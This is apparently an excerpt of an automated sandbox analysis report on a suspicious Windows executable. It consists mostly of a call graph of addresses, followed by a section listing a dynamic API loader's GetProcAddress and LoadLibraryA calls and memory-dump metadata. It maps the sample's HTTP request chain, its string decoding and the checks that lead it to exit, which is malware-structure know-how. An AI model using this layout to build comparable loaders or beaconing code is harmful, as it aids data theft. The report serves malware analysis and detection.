38249->38250 38251 e14610 2 API calls 38250->38251 38252 e133e8 38251->38252 38253 e14610 2 API calls 38252->38253 38254 e13401 38253->38254 38255 e14610 2 API calls 38254->38255 38256 e1341a 38255->38256 38257 e14610 2 API calls 38256->38257 38258 e13433 38257->38258 38259 e14610 2 API calls 38258->38259 38260 e1344c 38259->38260 38261 e14610 2 API calls 38260->38261 38262 e13465 38261->38262 38263 e14610 2 API calls 38262->38263 38264 e1347e 38263->38264 38265 e14610 2 API calls 38264->38265 38266 e13497 38265->38266 38267 e14610 2 API calls 38266->38267 38268 e134b0 38267->38268 38269 e14610 2 API calls 38268->38269 38270 e134c9 38269->38270 38271 e14610 2 API calls 38270->38271 38272 e134e2 38271->38272 38273 e14610 2 API calls 38272->38273 38274 e134fb 38273->38274 38275 e14610 2 API calls 38274->38275 38276 e13514 38275->38276 38277 e14610 2 API calls 38276->38277 38278 e1352d 38277->38278 38279 e14610 2 API calls 38278->38279 38280 e13546 38279->38280 38281 e14610 2 API calls 38280->38281 38282 e1355f 38281->38282 38283 e14610 2 API calls 38282->38283 38284 e13578 38283->38284 38285 e14610 2 API calls 38284->38285 38286 e13591 38285->38286 38287 e14610 2 API calls 38286->38287 38288 e135aa 38287->38288 38289 e14610 2 API calls 38288->38289 38290 e135c3 38289->38290 38291 e14610 2 API calls 38290->38291 38292 e135dc 38291->38292 38293 e14610 2 API calls 38292->38293 38294 e135f5 38293->38294 38295 e14610 2 API calls 38294->38295 38296 e1360e 38295->38296 38297 e14610 2 API calls 38296->38297 38298 e13627 38297->38298 38299 e14610 2 API calls 38298->38299 38300 e13640 38299->38300 38301 e14610 2 API calls 38300->38301 38302 e13659 38301->38302 38303 e14610 2 API calls 38302->38303 38304 e13672 38303->38304 38305 e14610 2 API calls 38304->38305 38306 e1368b 38305->38306 38307 e14610 2 API calls 38306->38307 38308 e136a4 38307->38308 38309 e14610 2 API calls 38308->38309 38310 e136bd 38309->38310 38311 e14610 2 API calls 38310->38311 38312 e136d6 38311->38312 38313 e14610 2 API calls 38312->38313 38314 e136ef 38313->38314 38315 e14610 2 API calls 38314->38315 38316 e13708 38315->38316 38317 e14610 2 API calls 38316->38317 38318 e13721 38317->38318 38319 e14610 2 API calls 38318->38319 38320 e1373a 38319->38320 38321 e14610 2 API calls 38320->38321 38322 e13753 38321->38322 38323 e14610 2 API calls 38322->38323 38324 e1376c 38323->38324 38325 e14610 2 API calls 38324->38325 38326 e13785 38325->38326 38327 e14610 2 API calls 38326->38327 38328 e1379e 38327->38328 38329 e14610 2 API calls 38328->38329 38330 e137b7 38329->38330 38331 e14610 2 API calls 38330->38331 38332 e137d0 38331->38332 38333 e14610 2 API calls 38332->38333 38334 e137e9 38333->38334 38335 e14610 2 API calls 38334->38335 38336 e13802 38335->38336 38337 e14610 2 API calls 38336->38337 38338 e1381b 38337->38338 38339 e14610 2 API calls 38338->38339 38340 e13834 38339->38340 38341 e14610 2 API calls 38340->38341 38342 e1384d 38341->38342 38343 e14610 2 API calls 38342->38343 38344 e13866 38343->38344 38345 e14610 2 API calls 38344->38345 38346 e1387f 38345->38346 38347 e14610 2 API calls 38346->38347 38348 e13898 38347->38348 38349 e14610 2 API calls 38348->38349 38350 e138b1 38349->38350 38351 e14610 2 API calls 38350->38351 38352 e138ca 38351->38352 38353 e14610 2 API calls 38352->38353 38354 e138e3 38353->38354 38355 e14610 2 API calls 38354->38355 38356 e138fc 38355->38356 38357 e14610 2 API calls 38356->38357 38358 e13915 38357->38358 38359 e14610 2 API calls 38358->38359 38360 e1392e 38359->38360 38361 e14610 2 API calls 38360->38361 38362 e13947 38361->38362 38363 e14610 2 API calls 38362->38363 38364 e13960 38363->38364 38365 e14610 2 API calls 38364->38365 38366 e13979 38365->38366 38367 e14610 2 API calls 38366->38367 38368 e13992 38367->38368 38369 e14610 2 API calls 38368->38369 38370 e139ab 38369->38370 38371 e14610 2 API calls 38370->38371 38372 e139c4 38371->38372 38373 e14610 2 API calls 38372->38373 38374 e139dd 38373->38374 38375 e14610 2 API calls 38374->38375 38376 e139f6 38375->38376 38377 e14610 2 API calls 38376->38377 38378 e13a0f 38377->38378 38379 e14610 2 API calls 38378->38379 38380 e13a28 38379->38380 38381 e14610 2 API calls 38380->38381 38382 e13a41 38381->38382 38383 e14610 2 API calls 38382->38383 38384 e13a5a 38383->38384 38385 e14610 2 API calls 38384->38385 38386 e13a73 38385->38386 38387 e14610 2 API calls 38386->38387 38388 e13a8c 38387->38388 38389 e14610 2 API calls 38388->38389 38390 e13aa5 38389->38390 38391 e14610 2 API calls 38390->38391 38392 e13abe 38391->38392 38393 e14610 2 API calls 38392->38393 38394 e13ad7 38393->38394 38395 e14610 2 API calls 38394->38395 38396 e13af0 38395->38396 38397 e14610 2 API calls 38396->38397 38398 e13b09 38397->38398 38399 e14610 2 API calls 38398->38399 38400 e13b22 38399->38400 38401 e14610 2 API calls 38400->38401 38402 e13b3b 38401->38402 38403 e14610 2 API calls 38402->38403 38404 e13b54 38403->38404 38405 e14610 2 API calls 38404->38405 38406 e13b6d 38405->38406 38407 e14610 2 API calls 38406->38407 38408 e13b86 38407->38408 38409 e14610 2 API calls 38408->38409 38410 e13b9f 38409->38410 38411 e14610 2 API calls 38410->38411 38412 e13bb8 38411->38412 38413 e14610 2 API calls 38412->38413 38414 e13bd1 38413->38414 38415 e14610 2 API calls 38414->38415 38416 e13bea 38415->38416 38417 e14610 2 API calls 38416->38417 38418 e13c03 38417->38418 38419 e14610 2 API calls 38418->38419 38420 e13c1c 38419->38420 38421 e14610 2 API calls 38420->38421 38422 e13c35 38421->38422 38423 e14610 2 API calls 38422->38423 38424 e13c4e 38423->38424 38425 e14610 2 API calls 38424->38425 38426 e13c67 38425->38426 38427 e14610 2 API calls 38426->38427 38428 e13c80 38427->38428 38429 e14610 2 API calls 38428->38429 38430 e13c99 38429->38430 38431 e14610 2 API calls 38430->38431 38432 e13cb2 38431->38432 38433 e14610 2 API calls 38432->38433 38434 e13ccb 38433->38434 38435 e14610 2 API calls 38434->38435 38436 e13ce4 38435->38436 38437 e14610 2 API calls 38436->38437 38438 e13cfd 38437->38438 38439 e14610 2 API calls 38438->38439 38440 e13d16 38439->38440 38441 e14610 2 API calls 38440->38441 38442 e13d2f 38441->38442 38443 e14610 2 API calls 38442->38443 38444 e13d48 38443->38444 38445 e14610 2 API calls 38444->38445 38446 e13d61 38445->38446 38447 e14610 2 API calls 38446->38447 38448 e13d7a 38447->38448 38449 e14610 2 API calls 38448->38449 38450 e13d93 38449->38450 38451 e14610 2 API calls 38450->38451 38452 e13dac 38451->38452 38453 e14610 2 API calls 38452->38453 38454 e13dc5 38453->38454 38455 e14610 2 API calls 38454->38455 38456 e13dde 38455->38456 38457 e14610 2 API calls 38456->38457 38458 e13df7 38457->38458 38459 e14610 2 API calls 38458->38459 38460 e13e10 38459->38460 38461 e14610 2 API calls 38460->38461 38462 e13e29 38461->38462 38463 e14610 2 API calls 38462->38463 38464 e13e42 38463->38464 38465 e14610 2 API calls 38464->38465 38466 e13e5b 38465->38466 38467 e14610 2 API calls 38466->38467 38468 e13e74 38467->38468 38469 e14610 2 API calls 38468->38469 38470 e13e8d 38469->38470 38471 e14610 2 API calls 38470->38471 38472 e13ea6 38471->38472 38473 e14610 2 API calls 38472->38473 38474 e13ebf 38473->38474 38475 e14610 2 API calls 38474->38475 38476 e13ed8 38475->38476 38477 e14610 2 API calls 38476->38477 38478 e13ef1 38477->38478 38479 e14610 2 API calls 38478->38479 38480 e13f0a 38479->38480 38481 e14610 2 API calls 38480->38481 38482 e13f23 38481->38482 38483 e14610 2 API calls 38482->38483 38484 e13f3c 38483->38484 38485 e14610 2 API calls 38484->38485 38486 e13f55 38485->38486 38487 e14610 2 API calls 38486->38487 38488 e13f6e 38487->38488 38489 e14610 2 API calls 38488->38489 38490 e13f87 38489->38490 38491 e14610 2 API calls 38490->38491 38492 e13fa0 38491->38492 38493 e14610 2 API calls 38492->38493 38494 e13fb9 38493->38494 38495 e14610 2 API calls 38494->38495 38496 e13fd2 38495->38496 38497 e14610 2 API calls 38496->38497 38498 e13feb 38497->38498 38499 e14610 2 API calls 38498->38499 38500 e14004 38499->38500 38501 e14610 2 API calls 38500->38501 38502 e1401d 38501->38502 38503 e14610 2 API calls 38502->38503 38504 e14036 38503->38504 38505 e14610 2 API calls 38504->38505 38506 e1404f 38505->38506 38507 e14610 2 API calls 38506->38507 38508 e14068 38507->38508 38509 e14610 2 API calls 38508->38509 38510 e14081 38509->38510 38511 e14610 2 API calls 38510->38511 38512 e1409a 38511->38512 38513 e14610 2 API calls 38512->38513 38514 e140b3 38513->38514 38515 e14610 2 API calls 38514->38515 38516 e140cc 38515->38516 38517 e14610 2 API calls 38516->38517 38518 e140e5 38517->38518 38519 e14610 2 API calls 38518->38519 38520 e140fe 38519->38520 38521 e14610 2 API calls 38520->38521 38522 e14117 38521->38522 38523 e14610 2 API calls 38522->38523 38524 e14130 38523->38524 38525 e14610 2 API calls 38524->38525 38526 e14149 38525->38526 38527 e14610 2 API calls 38526->38527 38528 e14162 38527->38528 38529 e14610 2 API calls 38528->38529 38530 e1417b 38529->38530 38531 e14610 2 API calls 38530->38531 38532 e14194 38531->38532 38533 e14610 2 API calls 38532->38533 38534 e141ad 38533->38534 38535 e14610 2 API calls 38534->38535 38536 e141c6 38535->38536 38537 e14610 2 API calls 38536->38537 38538 e141df 38537->38538 38539 e14610 2 API calls 38538->38539 38540 e141f8 38539->38540 38541 e14610 2 API calls 38540->38541 38542 e14211 38541->38542 38543 e14610 2 API calls 38542->38543 38544 e1422a 38543->38544 38545 e14610 2 API calls 38544->38545 38546 e14243 38545->38546 38547 e14610 2 API calls 38546->38547 38548 e1425c 38547->38548 38549 e14610 2 API calls 38548->38549 38550 e14275 38549->38550 38551 e14610 2 API calls 38550->38551 38552 e1428e 38551->38552 38553 e14610 2 API calls 38552->38553 38554 e142a7 38553->38554 38555 e14610 2 API calls 38554->38555 38556 e142c0 38555->38556 38557 e14610 2 API calls 38556->38557 38558 e142d9 38557->38558 38559 e14610 2 API calls 38558->38559 38560 e142f2 38559->38560 38561 e14610 2 API calls 38560->38561 38562 e1430b 38561->38562 38563 e14610 2 API calls 38562->38563 38564 e14324 38563->38564 38565 e14610 2 API calls 38564->38565 38566 e1433d 38565->38566 38567 e14610 2 API calls 38566->38567 38568 e14356 38567->38568 38569 e14610 2 API calls 38568->38569 38570 e1436f 38569->38570 38571 e14610 2 API calls 38570->38571 38572 e14388 38571->38572 38573 e14610 2 API calls 38572->38573 38574 e143a1 38573->38574 38575 e14610 2 API calls 38574->38575 38576 e143ba 38575->38576 38577 e14610 2 API calls 38576->38577 38578 e143d3 38577->38578 38579 e14610 2 API calls 38578->38579 38580 e143ec 38579->38580 38581 e14610 2 API calls 38580->38581 38582 e14405 38581->38582 38583 e14610 2 API calls 38582->38583 38584 e1441e 38583->38584 38585 e14610 2 API calls 38584->38585 38586 e14437 38585->38586 38587 e14610 2 API calls 38586->38587 38588 e14450 38587->38588 38589 e14610 2 API calls 38588->38589 38590 e14469 38589->38590 38591 e14610 2 API calls 38590->38591 38592 e14482 38591->38592 38593 e14610 2 API calls 38592->38593 38594 e1449b 38593->38594 38595 e14610 2 API calls 38594->38595 38596 e144b4 38595->38596 38597 e14610 2 API calls 38596->38597 38598 e144cd 38597->38598 38599 e14610 2 API calls 38598->38599 38600 e144e6 38599->38600 38601 e14610 2 API calls 38600->38601 38602 e144ff 38601->38602 38603 e14610 2 API calls 38602->38603 38604 e14518 38603->38604 38605 e14610 2 API calls 38604->38605 38606 e14531 38605->38606 38607 e14610 2 API calls 38606->38607 38608 e1454a 38607->38608 38609 e14610 2 API calls 38608->38609 38610 e14563 38609->38610 38611 e14610 2 API calls 38610->38611 38612 e1457c 38611->38612 38613 e14610 2 API calls 38612->38613 38614 e14595 38613->38614 38615 e14610 2 API calls 38614->38615 38616 e145ae 38615->38616 38617 e14610 2 API calls 38616->38617 38618 e145c7 38617->38618 38619 e14610 2 API calls 38618->38619 38620 e145e0 38619->38620 38621 e14610 2 API calls 38620->38621 38622 e145f9 38621->38622 38623 e29f20 38622->38623 38624 e29f30 43 API calls 38623->38624 38625 e2a346 8 API calls 38623->38625 38624->38625 38626 e2a456 38625->38626 38627 e2a3dc GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38625->38627 38628 e2a463 8 API calls 38626->38628 38629 e2a526 38626->38629 38627->38626 38628->38629 38630 e2a5a8 38629->38630 38631 e2a52f GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38629->38631 38632 e2a647 38630->38632 38633 e2a5b5 6 API calls 38630->38633 38631->38630 38634 e2a654 9 API calls 38632->38634 38635 e2a72f 38632->38635 38633->38632 38634->38635 38636 e2a7b2 38635->38636 38637 e2a738 GetProcAddress GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38635->38637 38638 e2a7bb GetProcAddress GetProcAddress 38636->38638 38639 e2a7ec 38636->38639 38637->38636 38638->38639 38640 e2a825 38639->38640 38641 e2a7f5 GetProcAddress GetProcAddress 38639->38641 38642 e2a922 38640->38642 38643 e2a832 10 API calls 38640->38643 38641->38640 38644 e2a92b GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38642->38644 38645 e2a98d 38642->38645 38643->38642 38644->38645 38646 e2a996 GetProcAddress 38645->38646 38647 e2a9ae 38645->38647 38646->38647 38648 e2a9b7 GetProcAddress GetProcAddress GetProcAddress GetProcAddress 38647->38648 38649 e25ef3 38647->38649 38648->38649 38650 e11590 38649->38650 38920 e116b0 38650->38920 38653 e2aab0 lstrcpy 38654 e115b5 38653->38654 38655 e2aab0 lstrcpy 38654->38655 38656 e115c7 38655->38656 38657 e2aab0 lstrcpy 38656->38657 38658 e115d9 38657->38658 38659 e2aab0 lstrcpy 38658->38659 38660 e11663 38659->38660 38661 e25760 38660->38661 38662 e25771 38661->38662 38663 e2ab30 2 API calls 38662->38663 38664 e2577e 38663->38664 38665 e2ab30 2 API calls 38664->38665 38666 e2578b 38665->38666 38667 e2ab30 2 API calls 38666->38667 38668 e25798 38667->38668 38669 e2aa50 lstrcpy 38668->38669 38670 e257a5 38669->38670 38671 e2aa50 lstrcpy 38670->38671 38672 e257b2 38671->38672 38673 e2aa50 lstrcpy 38672->38673 38674 e257bf 38673->38674 38675 e2aa50 lstrcpy 38674->38675 38687 e257cc 38675->38687 38676 e2ab30 lstrlen lstrcpy 38676->38687 38677 e2abb0 lstrcpy 38677->38687 38678 e25893 StrCmpCA 38678->38687 38679 e258f0 StrCmpCA 38680 e25a2c 38679->38680 38679->38687 38681 e2abb0 lstrcpy 38680->38681 38682 e25a38 38681->38682 38683 e2ab30 2 API calls 38682->38683 38685 e25a46 38683->38685 38684 e25440 20 API calls 38684->38687 38688 e2ab30 2 API calls 38685->38688 38686 e25aa6 StrCmpCA 38686->38687 38689 e25be1 38686->38689 38687->38676 38687->38677 38687->38678 38687->38679 38687->38684 38687->38686 38695 e2aa50 lstrcpy 38687->38695 38696 e25510 25 API calls 38687->38696 38698 e25c5b StrCmpCA 38687->38698 38710 e259da StrCmpCA 38687->38710 38712 e2aab0 lstrcpy 38687->38712 38714 e25b8f StrCmpCA 38687->38714 38715 e11590 lstrcpy 38687->38715 38691 e25a55 38688->38691 38690 e2abb0 lstrcpy 38689->38690 38692 e25bed 38690->38692 38693 e116b0 lstrcpy 38691->38693 38694 e2ab30 2 API calls 38692->38694 38713 e25a61 38693->38713 38697 e25bfb 38694->38697 38695->38687 38696->38687 38699 e2ab30 2 API calls 38697->38699 38700 e25c66 Sleep 38698->38700 38701 e25c78 38698->38701 38703 e25c0a 38699->38703 38700->38687 38702 e2abb0 lstrcpy 38701->38702 38704 e25c84 38702->38704 38705 e116b0 lstrcpy 38703->38705 38706 e2ab30 2 API calls 38704->38706 38705->38713 38707 e25c93 38706->38707 38708 e2ab30 2 API calls 38707->38708 38709 e25ca2 38708->38709 38711 e116b0 lstrcpy 38709->38711 38710->38687 38711->38713 38712->38687 38713->37768 38714->38687 38715->38687 38717 e276e3 GetVolumeInformationA 38716->38717 38718 e276dc 38716->38718 38719 e27721 38717->38719 38718->38717 38720 e2778c GetProcessHeap RtlAllocateHeap 38719->38720 38721 e277b8 wsprintfA 38720->38721 38722 e277a9 38720->38722 38724 e2aa50 lstrcpy 38721->38724 38723 e2aa50 lstrcpy 38722->38723 38725 e25ff7 38723->38725 38724->38725 38725->37789 38727 e2aab0 lstrcpy 38726->38727 38728 e148e9 38727->38728 38929 e14800 38728->38929 38730 e148f5 38731 e2aa50 lstrcpy 38730->38731 38732 e14927 38731->38732 38733 e2aa50 lstrcpy 38732->38733 38734 e14934 38733->38734 38735 e2aa50 lstrcpy 38734->38735 38736 e14941 38735->38736 38737 e2aa50 lstrcpy 38736->38737 38738 e1494e 38737->38738 38739 e2aa50 lstrcpy 38738->38739 38740 e1495b InternetOpenA StrCmpCA 38739->38740 38741 e14994 38740->38741 38742 e14f1b InternetCloseHandle 38741->38742 38935 e28cf0 38741->38935 38744 e14f38 38742->38744 38950 e1a210 CryptStringToBinaryA 38744->38950 38745 e149b3 38943 e2ac30 38745->38943 38749 e149c6 38750 e2abb0 lstrcpy 38749->38750 38755 e149cf 38750->38755 38751 e2ab30 2 API calls 38752 e14f55 38751->38752 38753 e2acc0 4 API calls 38752->38753 38756 e14f6b 38753->38756 38754 e14f77 codecvt 38758 e2aab0 lstrcpy 38754->38758 38759 e2acc0 4 API calls 38755->38759 38757 e2abb0 lstrcpy 38756->38757 38757->38754 38771 e14fa7 38758->38771 38760 e149f9 38759->38760 38761 e2abb0 lstrcpy 38760->38761 38762 e14a02 38761->38762 38763 e2acc0 4 API calls 38762->38763 38764 e14a21 38763->38764 38765 e2abb0 lstrcpy 38764->38765 38766 e14a2a 38765->38766 38767 e2ac30 3 API calls 38766->38767 38768 e14a48 38767->38768 38769 e2abb0 lstrcpy 38768->38769 38770 e14a51 38769->38770 38772 e2acc0 4 API calls 38770->38772 38771->37792 38773 e14a70 38772->38773 38774 e2abb0 lstrcpy 38773->38774 38775 e14a79 38774->38775 38776 e2acc0 4 API calls 38775->38776 38777 e14a98 38776->38777 38778 e2abb0 lstrcpy 38777->38778 38779 e14aa1 38778->38779 38780 e2acc0 4 API calls 38779->38780 38781 e14acd 38780->38781 38782 e2ac30 3 API calls 38781->38782 38783 e14ad4 38782->38783 38784 e2abb0 lstrcpy 38783->38784 38785 e14add 38784->38785 38786 e14af3 InternetConnectA 38785->38786 38786->38742 38787 e14b23 HttpOpenRequestA 38786->38787 38789 e14b78 38787->38789 38790 e14f0e InternetCloseHandle 38787->38790 38791 e2acc0 4 API calls 38789->38791 38790->38742 38792 e14b8c 38791->38792 38793 e2abb0 lstrcpy 38792->38793 38794 e14b95 38793->38794 38795 e2ac30 3 API calls 38794->38795 38796 e14bb3 38795->38796 38797 e2abb0 lstrcpy 38796->38797 38798 e14bbc 38797->38798 38799 e2acc0 4 API calls 38798->38799 38800 e14bdb 38799->38800 38801 e2abb0 lstrcpy 38800->38801 38802 e14be4 38801->38802 38803 e2acc0 4 API calls 38802->38803 38804 e14c05 38803->38804 38805 e2abb0 lstrcpy 38804->38805 38806 e14c0e 38805->38806 38807 e2acc0 4 API calls 38806->38807 38808 e14c2e 38807->38808 38809 e2abb0 lstrcpy 38808->38809 38810 e14c37 38809->38810 38811 e2acc0 4 API calls 38810->38811 38812 e14c56 38811->38812 38813 e2abb0 lstrcpy 38812->38813 38814 e14c5f 38813->38814 38815 e2ac30 3 API calls 38814->38815 38816 e14c7d 38815->38816 38817 e2abb0 lstrcpy 38816->38817 38818 e14c86 38817->38818 38819 e2acc0 4 API calls 38818->38819 38820 e14ca5 38819->38820 38821 e2abb0 lstrcpy 38820->38821 38822 e14cae 38821->38822 38823 e2acc0 4 API calls 38822->38823 38824 e14ccd 38823->38824 38825 e2abb0 lstrcpy 38824->38825 38826 e14cd6 38825->38826 38827 e2ac30 3 API calls 38826->38827 38828 e14cf4 38827->38828 38829 e2abb0 lstrcpy 38828->38829 38830 e14cfd 38829->38830 38831 e2acc0 4 API calls 38830->38831 38832 e14d1c 38831->38832 38833 e2abb0 lstrcpy 38832->38833 38834 e14d25 38833->38834 38835 e2acc0 4 API calls 38834->38835 38836 e14d46 38835->38836 38837 e2abb0 lstrcpy 38836->38837 38838 e14d4f 38837->38838 38839 e2acc0 4 API calls 38838->38839 38840 e14d6f 38839->38840 38841 e2abb0 lstrcpy 38840->38841 38842 e14d78 38841->38842 38843 e2acc0 4 API calls 38842->38843 38844 e14d97 38843->38844 38845 e2abb0 lstrcpy 38844->38845 38846 e14da0 38845->38846 38847 e2ac30 3 API calls 38846->38847 38848 e14dbe 38847->38848 38849 e2abb0 lstrcpy 38848->38849 38850 e14dc7 38849->38850 38851 e2aa50 lstrcpy 38850->38851 38852 e14de2 38851->38852 38853 e2ac30 3 API calls 38852->38853 38854 e14e03 38853->38854 38855 e2ac30 3 API calls 38854->38855 38856 e14e0a 38855->38856 38857 e2abb0 lstrcpy 38856->38857 38858 e14e16 38857->38858 38859 e14e37 lstrlen 38858->38859 38860 e14e4a 38859->38860 38861 e14e53 lstrlen 38860->38861 38949 e2ade0 38861->38949 38863 e14e63 HttpSendRequestA 38864 e14e82 InternetReadFile 38863->38864 38865 e14eb7 InternetCloseHandle 38864->38865 38870 e14eae 38864->38870 38868 e2ab10 38865->38868 38867 e2acc0 4 API calls 38867->38870 38868->38790 38869 e2abb0 lstrcpy 38869->38870 38870->38864 38870->38865 38870->38867 38870->38869 38956 e2ade0 38871->38956 38873 e21a14 StrCmpCA 38874 e21a1f ExitProcess 38873->38874 38886 e21a27 38873->38886 38875 e21c12 38875->37794 38876 e21b82 StrCmpCA 38876->38886 38877 e21b63 StrCmpCA 38877->38886 38878 e21bc0 StrCmpCA 38878->38886 38879 e21b41 StrCmpCA 38879->38886 38880 e21ba1 StrCmpCA 38880->38886 38881 e21acf StrCmpCA 38881->38886 38882 e21aad StrCmpCA 38882->38886 38883 e21b1f StrCmpCA 38883->38886 38884 e21afd StrCmpCA 38884->38886 38885 e2ab30 lstrlen lstrcpy 38885->38886 38886->38875 38886->38876 38886->38877 38886->38878 38886->38879 38886->38880 38886->38881 38886->38882 38886->38883 38886->38884 38886->38885 38887->37800 38888->37802 38889->37808 38890->37810 38891->37816 38892->37818 38893->37822 38894->37826 38895->37830 38896->37836 38897->37838 38898->37842 38899->37856 38900->37860 38901->37859 38902->37855 38903->37859 38904->37875 38905->37863 38906->37865 38907->37869 38908->37871 38909->37877 38910->37879 38911->37886 38912->37892 38913->37913 38914->37917 38915->37916 38916->37912 38917->37916 38918->37926 38921 e2aab0 lstrcpy 38920->38921 38922 e116c3 38921->38922 38923 e2aab0 lstrcpy 38922->38923 38924 e116d5 38923->38924 38925 e2aab0 lstrcpy 38924->38925 38926 e116e7 38925->38926 38927 e2aab0 lstrcpy 38926->38927 38928 e115a3 38927->38928 38928->38653 38930 e14816 38929->38930 38931 e14888 lstrlen 38930->38931 38955 e2ade0 38931->38955 38933 e14898 InternetCrackUrlA 38934 e148b7 38933->38934 38934->38730 38936 e2aa50 lstrcpy 38935->38936 38937 e28d04 38936->38937 38938 e2aa50 lstrcpy 38937->38938 38939 e28d12 GetSystemTime 38938->38939 38940 e28d29 38939->38940 38941 e2aab0 lstrcpy 38940->38941 38942 e28d8c 38941->38942 38942->38745 38944 e2ac41 38943->38944 38945 e2ac98 38944->38945 38947 e2ac78 lstrcpy lstrcat 38944->38947 38946 e2aab0 lstrcpy 38945->38946 38948 e2aca4 38946->38948 38947->38945 38948->38749 38949->38863 38951 e1a249 LocalAlloc 38950->38951 38952 e14f3e 38950->38952 38951->38952 38953 e1a264 CryptStringToBinaryA 38951->38953 38952->38751 38952->38754 38953->38952 38954 e1a289 LocalFree 38953->38954 38954->38952 38955->38933 38956->38873

                                    Executed Functions

                                    Function 00E29BB0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212libraryloaderCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 660 e29bb0-e29bc4 call e29aa0 663 e29de3-e29e42 LoadLibraryA * 5 660->663 664 e29bca-e29dde call e29ad0 GetProcAddress * 21 660->664 666 e29e44-e29e58 GetProcAddress 663->666 667 e29e5d-e29e64 663->667 664->663 666->667 669 e29e96-e29e9d 667->669 670 e29e66-e29e91 GetProcAddress * 2 667->670 671 e29eb8-e29ebf 669->671 672 e29e9f-e29eb3 GetProcAddress 669->672 670->669 673 e29ec1-e29ed4 GetProcAddress 671->673 674 e29ed9-e29ee0 671->674 672->671 673->674 675 e29ee2-e29f0c GetProcAddress * 2 674->675 676 e29f11-e29f12 674->676 675->676
                                    APIs
                                    • GetProcAddress.KERNEL32(76210000,00991728), ref: 00E29BF1
                                    • GetProcAddress.KERNEL32(76210000,009914E8), ref: 00E29C0A
                                    • GetProcAddress.KERNEL32(76210000,00991698), ref: 00E29C22
                                    • GetProcAddress.KERNEL32(76210000,009915D8), ref: 00E29C3A
                                    • GetProcAddress.KERNEL32(76210000,00991530), ref: 00E29C53
                                    • GetProcAddress.KERNEL32(76210000,00998C48), ref: 00E29C6B
                                    • GetProcAddress.KERNEL32(76210000,00985508), ref: 00E29C83
                                    • GetProcAddress.KERNEL32(76210000,00985608), ref: 00E29C9C
                                    • GetProcAddress.KERNEL32(76210000,00991608), ref: 00E29CB4
                                    • GetProcAddress.KERNEL32(76210000,009916B0), ref: 00E29CCC
                                    • GetProcAddress.KERNEL32(76210000,00991788), ref: 00E29CE5
                                    • GetProcAddress.KERNEL32(76210000,00991500), ref: 00E29CFD
                                    • GetProcAddress.KERNEL32(76210000,009856C8), ref: 00E29D15
                                    • GetProcAddress.KERNEL32(76210000,009916C8), ref: 00E29D2E
                                    • GetProcAddress.KERNEL32(76210000,009916E0), ref: 00E29D46
                                    • GetProcAddress.KERNEL32(76210000,00985628), ref: 00E29D5E
                                    • GetProcAddress.KERNEL32(76210000,00991638), ref: 00E29D77
                                    • GetProcAddress.KERNEL32(76210000,00991650), ref: 00E29D8F
                                    • GetProcAddress.KERNEL32(76210000,009854C8), ref: 00E29DA7
                                    • GetProcAddress.KERNEL32(76210000,00991800), ref: 00E29DC0
                                    • GetProcAddress.KERNEL32(76210000,009856E8), ref: 00E29DD8
                                    • LoadLibraryA.KERNEL32(009918A8,?,00E26CA0), ref: 00E29DEA
                                    • LoadLibraryA.KERNEL32(00991860,?,00E26CA0), ref: 00E29DFB
                                    • LoadLibraryA.KERNEL32(00991890,?,00E26CA0), ref: 00E29E0D
                                    • LoadLibraryA.KERNEL32(00991830,?,00E26CA0), ref: 00E29E1F
                                    • LoadLibraryA.KERNEL32(00991848,?,00E26CA0), ref: 00E29E30
                                    • GetProcAddress.KERNEL32(75B30000,009917E8), ref: 00E29E52
                                    • GetProcAddress.KERNEL32(751E0000,00991818), ref: 00E29E73
                                    • GetProcAddress.KERNEL32(751E0000,00991878), ref: 00E29E8B
                                    • GetProcAddress.KERNEL32(76910000,00998F20), ref: 00E29EAD
                                    • GetProcAddress.KERNEL32(75670000,00985648), ref: 00E29ECE
                                    • GetProcAddress.KERNEL32(77310000,00998C58), ref: 00E29EEF
                                    • GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00E29F06
                                    Strings
                                    • NtQueryInformationProcess, xrefs: 00E29EFA
                                    Memory Dump Source
                                    • Source File: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E10000, based on PE: true
                                    • Associated: 00000000.00000002.2156242085.0000000000E10000.00000004.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F59000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156269642.00000000010E6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.00000000010FA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001281000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001351000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001379000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.0000000001380000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2156567831.000000000138F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157075416.0000000001390000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157227722.0000000001522000.00000040.00000001.01000000.00000003.sdmpDownload File
                                    • Associated: 00000000.00000002.2157253508.0000000001523000.00000080.00000001.01000000.00000003.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_0_2_e10000_file.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AddressProc$LibraryLoad
                                    • String ID: NtQueryInformationProcess
                                    • API String ID: 2238633743-2781105232
                                    • Opcode ID: f5137ce5bbbfe70aa5c686c35e724ede179a8eeef28a6be828c521fb50bf7a95
                                    • Instruction ID: 61e620cbd6bcf42d5ea61e727802703155ace0e621d587ac5f553a1c3ef92665
